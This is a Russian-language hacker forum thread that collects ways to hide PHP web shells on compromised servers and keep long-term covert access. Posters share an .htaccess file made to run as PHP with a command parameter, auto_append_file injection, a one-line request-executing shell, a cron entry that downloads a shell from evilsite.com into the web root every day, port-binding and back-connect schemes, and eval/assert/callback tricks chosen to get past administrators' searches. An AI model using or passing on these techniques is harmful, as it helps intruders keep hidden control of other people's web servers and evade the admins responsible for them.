![]() |
Собираю коллекцию способов, как спрятать шелл
1) Спрятать в .htaccess # Override default deny rule to make .htaccess file accessible over web Order allow,deny Allow from all # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ###### SHELL ###### &1"); ?>###### LLEHS ###### domain/path/.htaccess?c=command 2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp" 3) Спрятать в гиф .htaccess AddType application/x-httpd-php gif 4) Записать шелл в базу данных, в неприметную новость Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе? |
echo `$_REQUEST[shell]`;
|
1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.
Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами. 2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым: SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php 3. Запускаем команду crontab /tmp/cmd. 4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла. мини-статья из журнала ][акер декабрь 2009 года. |
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
PHP код:
PHP код:
|
Цитата:
А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке. |
Конечно можно. Пищу для размышлений и пример реализации я тебе дал.
|
А как вам такой вариант незаметного шелла?
Не каждый может заметить такой шелл. PHP код:
Код:
Code: |
Цитата:
|
PHP код:
|
Цитата:
Даже если бы rg on был бы, то ничего не вышло бы, т.к. eval не функция, поэтому ее нельзя в переменную заложить, но я понимаю что это просто пример был, можно использовать другие варинаты, например прямая запись в файл. |
Я бы подходил тоньше в данному вопросу. А именно - использование методик сокрытия доступа , как такового в зависимости от условий каждого конкретного случая. К примеру VPS с одним сайтом, сетевые правила разрешают входящие соединения без явных ограничений ( тупо не перекрываются коннекты на 33, 404, 31337 etc произвольные открытые несанкционировано порты). В крон вбивается скрипт физически размещаемый вне локаций имеющих отношение к веб сервисам. Каждые 10-15 мин он проверяет наличие активирующей команды на на стороннем сервере ( банально в том же .txt) , если TRUE -> биндится порт - благо если сервисами не забит порт 8080. А далее удаленно выполняется к примеру тот же PHP. Кому-то может показаться чрезмерно массивным и излишне сомнительным. На практике же ,все достаточно просто в реализации. Пользуюсь и , как показывает статистика, доступ к ресурсам живет дольше чем в варианте постояттного физического размещения шела в директории веб-сервера.
|
У меня такая задумка:
В любом модуле,плагине вообщем в любой странице сайта вставляем прозрачный или под цвет сайта (главное чтоб его не видно было) на пример 2х2 код iframe и чтобы он находился где нибудь в углу, и при клике по нему делался back-connect на любой порт, получаем консоль чем не полноценный шелл.Так же можно релизовать проксю заместо кода back-connecta ставим редирект на другой сайт с таким же iframe и так далее N'ое количество сайтов.Чем не цепочка прокси. А для GUI'шников на последнем N'ом сайте можно и WSO Пусть попробуют проследить. |
2 vasykas:
Ты наверное не понял сути вопроса данного поста. Речь идет о том, как спрятать выполняемый код от администратора какого-либо ресурса, на котором необходимо разместить веб-шелл. Именно то, как спрятать вызываемый через iframe(как ты предлагаешь) код, именно и обсуждается в данном посте. |
Вот мой способ(можно в иднекс запихнуть например):
PHP код:
UPD. Поправил. |
Цитата:
У тебя по сути всегда будет $a!=$b. Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов. Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится. Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь. |
Цитата:
PHP код:
|
2Boolean,
sorry. Там не $b = md5_file($b); а $b = md5_file($fileb); >У тебя по сути всегда будет $a!=$b. С чего это вдруг? 2Expl0ited, +1 |
Цитата:
Ну не нравится eval, есть куча других возможностей исполнить код. PHP код:
|
Цитата:
PHP код:
|
Цитата:
Во-первых assert ищут крайне редко. Во-вторых, "shell" бы также нашли. =\\ В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше. upd: а Код:
Code: |
PHP код:
|
1) $_GET lol.
2) egrep -H "assert" `find . -type f -name "*.php" -print` lol. 3) lol |
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval. Сам код: PHP код:
Код:
Code: |
Цитата:
|
Цитата:
https://bugs.php.net/bug.php?id=48231 |
Цитата:
|
«callback похождения»
Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений. Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности. array_map, array_filter, array_walk PHP код:
Код:
Code:PHP код:
PoC: Код:
Code:Или же PoC[2], опять же "баг" с create_function: Код:
Code: |
Цитата:
Пробовал курлом через дополнительные параметры заголовка - не передаёт Код:
Code: |
| Время: 23:46 |